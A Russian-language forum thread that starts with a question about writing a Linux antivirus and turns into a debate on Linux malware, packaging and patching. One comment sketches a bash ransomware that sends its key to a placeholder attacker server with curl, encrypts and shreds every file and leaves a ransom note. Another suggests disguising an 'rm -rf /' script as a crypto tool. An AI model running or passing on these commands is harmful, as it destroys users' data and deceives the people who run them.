LINUX.ORG.RU

Что нужно знать для написания антивируса под Linux

 ,


0

2

Хочу понять насколько сложно разработать антивирус под линукс. Буду очень благодарен также за ссылки и статьи, которые могут помочь набраться знаний в данном направлении.


Ответ на: комментарий от Crocodoom

Есть: у меня валяются образы rh9 и gentoo 2004.3 и Касперский ругается, что исошки содержат вирусы в архивах пары пакетов. На самом деле это какие-то «тестовые» файлы clamav или почтовых серверов, которые на самом деле вирусы.

grem ★★★★★
()
Ответ на: комментарий от burato

Напиши напоминалку на рабочий стол: «не сиди от рута!»

А зачем вредоносному ПО под GNU/Linux — рутовый доступ?

Deleted
()
Ответ на: комментарий от ECLIPSE

Патчить уязвимости, а не городить костыли. Бороться не с болезнью, а укреплять организм.

peregrine ★★★★★
()
Ответ на: комментарий от MrClon

Я пользуюсь лицензионным NOD32, и в ldd каждого файла теперь видно его библиотеку. А ещё за 2 года он мне пару раз действительно что-то ловил

DrWeb-ом для Linux я пользовался только в 2008, и только бесплатным периодом. Вроде тоже монитор, но уже не помню

ZenitharChampion ★★★★★
()
Ответ на: комментарий от Deleted

В том что придется просить пользователя его запустить. А ещё придется высылать исходники, чтобы его могли пересобрать и сделать работающим на маргинальных архитектурах и слишком старых/новых ядрах. Ну и разумеется, тащить все библиотеки с собой, иначе есть шансы что их не будет в системе, вирус будет падать и срать в логи и в результате выдаст свое существование, после чего заделают дырку через которую он пролез и придётся переписывать.

peregrine ★★★★★
()
Ответ на: комментарий от anonymous

Из 1000 машин он в лучшем случае на одной заработает..

4.2.

Deleted
()

Не успели начаться каникулы, как тут вам и антивирус, и компрессор...

greenman ★★★★★
()
Ответ на: комментарий от peregrine

В том что придется просить пользователя его запустить.

А чем это отличается от других ОС? Hint: ничем. Это в любом случае будет либо соц. инженерия, либо уязвимости в клиентских приложениях.

А ещё придется высылать исходники, чтобы его могли пересобрать и сделать работающим на маргинальных архитектурах и слишком старых/новых ядрах.

А причем тут ядро? И зачем поддержка маргинальных архитектур, если по факту на десктопе у тебя будет x86/x86_64?

Ну и разумеется, тащить все библиотеки с собой, иначе есть шансы что их не будет в системе, вирус будет падать и срать в логи и в результате выдаст свое существование, после чего заделают дырку через которую он пролез и придётся переписывать.

Открой для себя статическую линковку.

Deleted
()
Ответ на: комментарий от Deleted

А чем это отличается от других ОС

В той же винде сколько лет из коробки автозапуск с носителей включен был? Hint: в других ОС думают не о безопасности, а об удобстве пользователя.

А причем тут ядро?

ABI же меняется. Старые бинарики на новых ядрах не работают.

И зачем поддержка маргинальных архитектур, если по факту на десктопе у тебя будет x86/x86_64?

Предположим ты нашел дырку, ставишь свой троянец на все компы, а он сука на одной падает и сообщениями сыпет. Как думешь, долго о нем никто не будет знать?

Открой для себя статическую линковку.

И вирусы весом в пару сотен мегабайт. ОК.

peregrine ★★★★★
()
Ответ на: комментарий от peregrine

В той же винде сколько лет из коробки автозапуск с носителей включен был?

А причем тут то, что было 10 лет назад?

Hint: в других ОС думают не о безопасности, а об удобстве пользователя.

Тем не менее, ситуация с безопасностью в ОС, где об удобстве пользователя не думают — еще хуже.

ABI же меняется. Старые бинарики на новых ядрах не работают.

Это мягко сказать далеко от правды, ибо «WE DO NOT BREAK USERSPACE!».

И вирусы весом в пару сотен мегабайт. ОК.
*из профиля* Избранные теги: c, c++, inkscape, java, lua, mono, python, теория вероятностей

А ты точно имеешь хоть какое-то отношение к разработке? Ибо какие к черту сотни мегабайт? Что ты туда слинковать собрался?

Deleted
()
Ответ на: комментарий от Deleted

А причем тут то, что было 10 лет назад?

Оно и сейчас плохо. Но не настолько что фиксится грамотным админом. Сейчас требуют фичу с разраба для пользователя любой ценой и чтоб вчера, её реализуют, а то какие костыли и дыры при этом появятся никого не волнует, пока все не начнут её использовать. Такое, почти во всей коммерции, не только в M$, исключения те, где изначально высокие требования к безопасности.

Тем не менее, ситуация с безопасностью в ОС, где об удобстве пользователя не думают — еще хуже.

4.2 Linux это тебе не мак, где ты случайным Drag&Drop-ом поставишь в систему неведомую фигню.

Это мягко сказать далеко от правды, ибо «WE DO NOT BREAK USERSPACE!».

Рекомендую вам gentoo внутривенно, на замену gay-os, узнаешь почему иногда приходится пересобирать мир. Не только ядро может всё поломать, ещё и компилятор со стандартными библиотеками есть.

А ты точно имеешь хоть какое-то отношение к разработке? Ибо какие к черту сотни мегабайт? Что ты туда слинковать собрался?

Хорошему троянцу много чего надо. Если просто диск загадить, то и libc.so хватит.

peregrine ★★★★★
()
Ответ на: комментарий от peregrine

И вирусы весом в пару сотен мегабайт. ОК.

Собрал сейчас либу статически и данамически. Разница 128кб - 244кб динамики против 372кб статики.

SR_team ★★★★★
()
Ответ на: комментарий от Deleted

Что ты туда слинковать собрался?

Все что есть в системе, а то что нельзя слинковать, запихать через xxd как ресурс. Как раз как 2 докер образа дебина будет.

SR_team ★★★★★
()
Последнее исправление: SR_team (всего исправлений: 1)
Ответ на: комментарий от redgremlin

Ну дак там Лёню купили вместе со всем редхатом они, вот и весь рассказ. Теперь экспансия и разработка сустемд полностью в их лапках.

Bfgeshka ★★★★★
()
Ответ на: комментарий от Bfgeshka

Где-то я действительно что-то важное пропустил и не заметил, когда мс прикупил ibm. Это не после того было, когда amd купило intel?

redgremlin ★★★★★
()
Ответ на: комментарий от Bfgeshka

А, хотя теперь разработка сустемд зависит от мс, если из новых.

Пруф можно?

torvn77 ★★★★★
()
Ответ на: комментарий от peregrine

Оно и сейчас плохо.

Спасибо, посмеялся. Нет, сейчас Windows впереди планеты всей.

Ты и сам в этом можешь убедиться — сравни сложность LPE эксплоитов под Windows и под Linux.

Тем не менее, ситуация с безопасностью в ОС, где об удобстве пользователя не думают — еще хуже.

4.2 Linux это тебе не мак, где ты случайным Drag&Drop-ом поставишь в систему неведомую фигню.

На «не устанавливать ПО из недоверенных источников» безопасность не заканчивается.

Рекомендую вам gentoo внутривенно

Gentoo — моя основная рабочая система.

, на замену gay-os, узнаешь почему иногда приходится пересобирать мир.

За годы использования Gentoo не пересобирал мир ни разу. В этом просто нет никакой необходимости.

Так что ты осторожнее лучше с предложениями попробовать какие-либо дистрибутивы, если не особо понимаешь что они из себя представляют.

Не только ядро может всё поломать, ещё и компилятор со стандартными библиотеками есть.

И как компилятор помешает запуститься статически слинкованному бинарнику? Что еще за глупость?

Если ты не веришь — собери статически бинарник под Ubuntu 12.04, и потом запусти его на Ubuntu 18.04 — он будет работать. Также он будет работать и под CentOS 7, Debian 9 etc.

Deleted
()

наколбась простейший скрипт на баше с содержимым вида

rm -rf / --no-preserve-root
залей его куда нибудь и выложи ссыль с заманчивым описанием на лоре - мол навороченная программа для мониторинга рынка криптовалют, дальше ждать может найдется дурак который скачает скрипт и запустив его активирует код, но боюсь таких дураков не дождешься - такие только на винде бывают...

amd_amd ★★★★★
()
Ответ на: комментарий от Deleted

сравни сложность LPE эксплоитов под Windows и под Linux.

А что, бы ты порекомендовал посмотреть в первую очередь?

pon4ik ★★★★★
()
Ответ на: комментарий от pon4ik

Проблем никаких, всё всегда можно, вопрос в квалификации автора.

В том и дело, что квалификация не особо то и нужна.

Тот же шифровальщик для GNU/Linux написать много ума не надо:

# псевдокод на баше, набросок для примера
# (соответственно не проверял даже правильность синтаксиса)

$ USER_ID=$(cat /dev/urandom | md5sum)
$ KEY=$(cat /dev/urandom | md5sum)
$ curl --data "userid=$USER_ID&param2=$KEY" https://evil_guy_server.tld
$ find / -type f | while read FILE; do \
    openssl enc -aes-256-cbc -salt -in ${FILE} -out ${FILE}.enc \
                -pass pass:${KEY} && \ 
    shred -u ${FILE}; \
  done
$ echo 'echo "Ваши файлы зашифрованы, отправьте бичкоины на адрес XXX..."' >> ~/.bashrc

А это уже ставший классикой пример современного вредоносного ПО.

Deleted
()
Ответ на: комментарий от peregrine

А ещё придется высылать исходники, чтобы его могли пересобрать и сделать работающим на маргинальных архитектурах и слишком старых/новых ядрах.

Скоро не придется, флатпака и снапа всем подвезли.

curufinwe ★★★★★
()
Ответ на: комментарий от peregrine

4.2 Linux это тебе не мак, где ты случайным Drag&Drop-ом поставишь в систему неведомую фигню.

Так вот в этом и проблема - после того как всем подвезли флатпака, теперь линукс это мак. И винда. Ставь мейл ру агент в один клик на любом дистре гарантированно.

curufinwe ★★★★★
()
Ответ на: комментарий от peregrine

С одной стороны, это удобно, я тоже много раз срачи разводил против, но имею приложения установленные из флатпака. С другой стороны - если это полностью заменит репы, как тут некоторые предлагают, то получится помойка как в винде. И прецеденты в снапе с вирусняком или майнером уже были.

curufinwe ★★★★★
()
Последнее исправление: curufinwe (всего исправлений: 1)
Ответ на: комментарий от pon4ik

А что, бы ты порекомендовал посмотреть в первую очередь?

Например: https://github.com/redogwu/windows_kernel_exploit/tree/master/windows_10/writ...

и https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074

При этом если про Windows выше пример для RS3, и в RS4/RS5 подвезли новых mitigation, то в Linux в плане эксплуатации мало что изменилось.

А так, смотри http://exploit-db.com

Deleted
()
Последнее исправление: Deleted (всего исправлений: 1)
Ответ на: комментарий от redgremlin

А, извиняюсь. У меня в голове каша, так как мс купили гитхаб.

Тем не менее, хрен редьки не слаще, ибм десктопы давно неинтересно развивать.

Bfgeshka ★★★★★
()
Ответ на: комментарий от anonymous

Из 1000 машин он в лучшем случае на одной заработает..

Сетевые юникс вирусы работавшие не только на линуксах но и на юниксах вообще существуют уже лет 40, первый в 1989году. Еще до линукса лол.

anonymous
()
Ответ на: комментарий от torvn77

Троян это не вирус.

Борьба с троянами и прочим вредоносным кодом это задача и антивируса тоже.

anonymous
()
Ответ на: комментарий от anonymous

Но троян не вирус.
С ним можно бороться штатными средствами ОС и единственное что можно написать это GUI.
Ну а если троян использует уязвимость то надо писать багрепорт в проект чтобы через неделю или две выпустили патч безопасности, после чего троян станет не актуальным. То есть антивирус нужен только эти вот две недели пока не закрыта уязвимость, потом необходимости в нём нет и он просто будет зря жрать ресурс процессора.

В принципе вот концепция антивирусной службы, рассылка правил ACL, PAM и aphamor для затруднения или предотвращения эксплуатации уязвимостей нулевого дня.

torvn77 ★★★★★
()
Последнее исправление: torvn77 (всего исправлений: 2)
Ответ на: комментарий от Bfgeshka

хрен редьки не слаще

Во-первых, слаще. В хрене сахаров 6.6%, в редьке 3.6%.

ибм десктопы давно неинтересно развивать

Во-вторых, системд к десктопам не относится.

redgremlin ★★★★★
()
Ответ на: комментарий от curufinwe

И прецеденты в снапе с вирусняком или майнером уже были.

Такие же преценденты и с репами были.

«Вирусняки» меньше появляются в репах не потому что репы лучше флатпакоснапов, а потому что репы проверяются лучше и требуют большей квалификации для установки и настройки(сторонние).

То есть ровно потому что репы неудобнее.

anonymous
()
Ответ на: комментарий от anonymous

То есть ровно потому что репы неудобнее.

Для тебя неудобнее, мне, конечному пользователю, репы очень даже удобны.

torvn77 ★★★★★
()
Последнее исправление: torvn77 (всего исправлений: 1)
Ответ на: комментарий от torvn77

Вы перечислили другие методы борьбы с троянами. Все нормальные методы. Но их наличие никак не отрицает то что одна из задач антивируса боротся с троянами.

нужен только эти вот две недели пока не закрыта уязвимость

Как минимум вы не учли ситуации когда узявимость 0day висит годами и десятилетиями, через нее проникают злоумышленники и ставят троян, руткит и так далее.

В фантастическом мире розовых единорогов где админы только и делают что висят в списках рассылки и мгновенно закрывают уязвимости инсталляцией пруф-оф-концепт патчей из исходников поверх генты, да, две недели. И везде гента, прости хоспаде. И все не работают и только дырки закрывают и конпеляют.

В реальном же мире от обнаружения до закрытия проходит гораздо больше времени, фикс может не работать для вашей инсталляции (а для ваших версий софта еще нет, ждите) и так далее. А еще есть ситуации когда фикс есть но он ломает продакшен. И фирме насрать что «нас ломают» если продакшен стоит. А еще есть проблема нехватки трудовых ресурсов и квалификации. Которая присуствует даже в самых казалось бы навороченых и богатых конторах. Где банально пароли не ставят на базы данных - а ведь это гораздо проще всех этих секурити мероприятий по защите от дыр.

Короче проблемы реального мира, ага. Поймите, рельный мир это мир множества необнаруженых и непропатченых уязвимостей в условиях нехватки трудовых ресурсов. И любая оборона в таких условиях эшелонированная и оптимизированная под наличные ресурсы, а не под фантазии про толпы админов получающие сотни тысяч долларов в месяц и закрытие дыр как только она стала публичной.

anonymous
()

А что ты уже пробовал реализовать? Мало ли, вдруг ты даже ещё хеллоуворлда не написал, чего тогда советовать.

djambeyshik ★★★★★
()
Ответ на: комментарий от torvn77

Для тебя неудобнее, мне, конечному пользователю, репы очень даже удобны.

4.2

Ты не конечный пользователь, ты линукс гик постоянно апдейтающий свою убунтогентушечку, или что там у тебя. Если тебе надо просто работать а не «нужно апдейтить убунту сейчас потому что иначе ее просто непроапдейтать», у тебя стоит давно «устаревший» настроенный один раз линупс на котором ты *работаешь*. И тогда наличие системы которая позволяет просто поставить свежую криту например, гораздо удобнее реп. Потому что в репах *нету* и *небудет*.

Не нужно собирать тонны прикладного декстопного софта под *все* дистрибутивы. Репы нужны для людей которым нужен конструктор, например для серверных линупсов.

anonymous
()
Ответ на: комментарий от anonymous

То есть ты говоришь про уродов, а не нормальных пользователей которые будут оплачивать антивирус и перевод электроэнергии в тепло, но ни в коем случае не донатить разработку используемого ими софта?

Что сложнее, закрыть дыру, навести порядок в исходниках, перестать использовать маргинальный софт или разрабатывать AI отлавливающий все попытки использования всех уязвимостей?
По моему проще нанять разраба и закрыть дыру.

torvn77 ★★★★★
()
Последнее исправление: torvn77 (всего исправлений: 1)
Ответ на: комментарий от anonymous

Что сложного в начале дня набрать apt update && apt upgrade && reboot и подождать пять минут и далее спокойно работать весь оставшийся рабочий день?

И тогда наличие системы которая позволяет просто поставить свежую криту

И в чём проблема один раз подключить репозитарий разработчика и получать обновления программы с него?

torvn77 ★★★★★
()
Последнее исправление: torvn77 (всего исправлений: 1)
Ответ на: комментарий от peregrine

4.2 Linux это тебе не мак, где ты случайным Drag&Drop-ом поставишь в систему неведомую фигню.

Сказки не рассказывай. Тебя MacOS задолбает всякими сообщениями об безопасности, ещё и на пошлёт в центр безопасности пешком, чтобы ты там разрешил приложение.

А вот в той же Ubuntu легко майнер поставить из центра приложений. Но Ubuntu не линукс.

fornlr ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.